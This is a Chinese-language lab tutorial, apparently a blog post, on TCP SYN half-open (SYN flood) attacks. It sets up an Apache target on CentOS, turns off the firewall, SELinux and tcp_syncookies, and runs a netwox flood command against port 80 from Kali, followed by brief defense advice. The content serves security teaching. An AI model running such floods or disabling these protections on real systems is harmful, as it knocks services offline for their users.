协议栈安全--TCP SYN 半开式攻击

一、攻击原理

什么是TCP 三次握手

三次握手,是TCP协议最重要机制。用来保证服务请求之前,双方都处于面向连接的状态。从而保障服务可靠、稳定的请求和响应。

三次握手原理:

在这里插入图片描述
攻击原理

黑客主机冒充合法主机,向Server端发送大量的SYN 请求连接数据包,但是当Server端,收到SYN,并响应Client端,发出,ACK、SYN,响应客户端时,Client端,并不做任何回应(ACK)。由于大量的SYN数据包请求服务器,导致,服务器系统等待缓存资源瞬间被占满,服务器瘫痪,从而不能响应正常的服务请求。

攻击过程

在这里插入图片描述

二、实施攻击

环境准备
攻击机:kali系统–netwox-67
靶机–centos -7.8系统 部署Apache 服务
Goolg 浏览器 测试
靶机部署http服务

[root@node01 ~]# systemctl stop firewalld.service 
[root@node01 ~]# setenforce 0
[root@node01 ~]# yum install httpd -y
[root@node01 ~]# echo "wlecome to  netwok secure"  > /var/www/html/index.html
[root@node01 ~]# systemctl start httpd

访问 http 服务
在这里插入图片描述
关闭系统 tcp_syncookies 防御

vim /etc/sysctl.conf  
net.ipv4.tcp_syncookies = 0 

开始攻击

#攻击目标服务器的80端口
kali@kali:~$ sudo netwox 76 -i 192.168.5.11 -p 80

访问 http 服务

在这里插入图片描述

三、防御

1、DOS攻击—拒绝式服务攻击 防御

开启系统 tcp_syncookies 防御

2、DDOS攻击—分布式的拒绝式服务攻击 防御

云服务器备案
例如:腾讯云服务、阿里云服务

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值